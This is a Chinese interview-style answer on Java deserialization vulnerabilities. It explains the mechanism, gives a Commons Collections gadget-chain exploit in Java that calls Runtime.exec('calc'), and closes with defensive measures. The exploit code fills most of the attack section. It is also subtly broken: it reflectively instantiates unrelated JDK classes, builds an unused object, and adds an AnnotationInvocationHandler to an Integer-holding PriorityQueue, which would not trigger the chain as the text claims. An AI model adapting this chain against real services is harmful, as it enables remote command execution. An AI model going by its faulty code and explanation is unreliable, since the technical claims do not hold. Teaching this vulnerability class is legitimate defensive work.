面试题答案
一键面试原理
- 反序列化机制:Java的反序列化机制允许将字节流转换回Java对象。在反序列化过程中,Java会根据字节流中的信息重建对象的状态,包括对象的类信息、字段值等。
- 安全隐患:如果应用程序反序列化来自不受信任源的数据,攻击者可以精心构造恶意的字节流。当应用程序反序列化该字节流时,会执行恶意构造的对象中的代码。这是因为某些类在反序列化时会调用特定的方法(如
readObject
等),攻击者可以利用这些方法执行任意代码,如执行系统命令、访问敏感资源等,从而造成安全漏洞。
常见利用场景例子 - Commons Collections 利用链
- 利用链原理:Commons Collections库是Java常用的工具库。攻击者利用其中一些类(如
Transformer
、ChainedTransformer
、InvokerTransformer
等)的特性,构建一个对象链。 - 示例代码(简化示意):
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.PriorityQueue;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class DeserializationAttack {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
LazyMap lazyMap = LazyMap.decorate(new java.util.HashMap(), transformerChain);
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
Class<?> cl = Class.forName("java.lang.reflect.Constructor");
Constructor constructor = cl.getDeclaredConstructor(Class.class);
constructor.setAccessible(true);
Object instantiateArgs = constructor.newInstance(Object[].class);
cl = Class.forName("sun.reflect.Reflection");
constructor = cl.getDeclaredConstructor();
constructor.setAccessible(true);
Object filler = constructor.newInstance();
cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
constructor = cl.getDeclaredConstructor(Class.class, java.util.Map.class);
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Override.class, lazyMap);
priorityQueue.add(annotationInvocationHandler);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
在这个例子中,当反序列化恶意构造的PriorityQueue
对象时,会触发LazyMap
的get
方法,进而执行ChainedTransformer
中的一系列Transformer
操作,最终执行系统命令(这里是打开计算器calc
,实际攻击场景可能执行更危险的命令)。
- 防御措施:
- 只反序列化来自可信源的数据。
- 对反序列化的数据进行严格的输入验证,比如检查类名是否在允许的白名单内。
- 避免使用存在已知反序列化漏洞的类库,如对Commons Collections库及时更新到安全版本。